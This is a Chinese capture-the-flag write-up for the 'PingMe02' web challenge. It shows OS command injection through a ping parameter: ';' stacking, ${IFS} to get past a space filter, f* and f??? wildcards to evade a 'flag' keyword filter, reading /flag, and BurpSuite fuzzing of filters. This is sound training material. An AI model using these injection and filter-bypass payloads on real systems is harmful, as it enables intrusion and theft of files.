经典ctf ping题目详解 青少年CTF-WEB-PingMe02

题目环境:

根据题目名称可知

这是一道CTF-WEB方向常考的知识点:ping地址

随便ping一个地址

查看接受的数据包
?ip=0.0.0.0

有回显数据,尝试列出目录文件

堆叠命令使用';'作为命令之间的连接符,当上一个命令完成后,继续执行下一个命令

使用堆叠命令

列出此目录下的文件
?ip=0.0.0.0;ls

ls是Linux系统里面的列出目录文件的命令

索性ls没有被过滤

查看隐藏文件
?ip=0.0.0.0;ls -a

space空格被过滤了

使用IFS绕过空格

IFS是Linux里面的环境变量,是其内部字段分隔符

可通过${IFS}绕过空格

IFS1-n(n>0的正整数)也可绕过空格

?ip=0.0.0.0;ls${IFS}-a

成功绕多空格

这里猜测没在根目录下,所以才没发现flag

查看当前路径
?ip=0.0.0.0;pwd

pwd是Linux系统里面查看当前目录/路径的命令

/var/www/html

可知现在是在html目录下

去看'/'根目录下是否有flag的存在

查看根目录下的文件
?ip=0.0.0.0;ls${IFS}/

发现根目录下存在flag文件

查看根目录下flag文件的内容
?ip=0.0.0.0;cat${IFS}/flag

cat是Linux系统里面最常见的查看文件内容的命令

这里可以使用其它查看文件内容的命令
less、more、nl等等

使用less查看flag内容
?ip=0.0.0.0;less${IFS}/flag

flag被过滤

可使用f*和f???进行绕过(注:f后边有几个字符就用几个?进行代替)

代表f开头的文件

因为f开头的文件只有flag这一个文件,所以查的就是flag

?ip=0.0.0.0;less${IFS}/f*

?ip=0.0.0.0;less${IFS}/f???

使用more查看flag内容
?ip=0.0.0.0;more${IFS}/f*

?ip=0.0.0.0;more${IFS}/f???

使用nl查看flag内容
?ip=0.0.0.0;nl${IFS}/f*

?ip=0.0.0.0;nl${IFS}/f???

得到flag:
qsnctf{3c6173ea-c3e2-4a49-858b-e9897e69cee3}

当然Linux系统查看文件内容的命令还有很多,这里就举着三个例子了

如果想效率更更高,我们还可以自己生成Linux常见列出目录文件和查看文件等命令和常用字符以及关键字的字典,并使用BurpSuite进行爆破查看那个命令和字符以及关键字的过滤情况

相关推荐
lichenyang45322 分钟前
为什么需要双线程通信、JavaScriptProxy 和 runJavaScript 分别干什么
前端
以和为贵32 分钟前
前端也能搞懂 RAG:用 JS 手写一条最小检索增强链路
前端·人工智能·面试
风止何安啊37 分钟前
网课倍速痛点解决:一套前端代码实现自由控速播放器
前端·javascript·node.js
Web3探索者38 分钟前
可视化服务器管理和传统命令行区别是什么?新手教程:Linux 运维到底该用图形界面还是 SSH 命令行?
linux·ssh
牧艺1 小时前
用 Next.js + React Three Fiber 打造 3D 快递仓储可视化
前端·three.js
锋行天下2 小时前
如何用Vite实现Vue组件的按需打包和远程加载
前端·vue.js·前端框架
光影少年2 小时前
原生DOM操作在React 中的注意事项
前端·javascript·react.js
zylyehuo3 小时前
Linux系统中网线与USB网络共享冲突
linux
禅思院4 小时前
前端部署“三层漏斗”完全指南:从CI/CD到自动回滚的工程化实战【开题】
前端·架构·前端框架
快乐肚皮5 小时前
深入理解Loop Engineering
前端·后端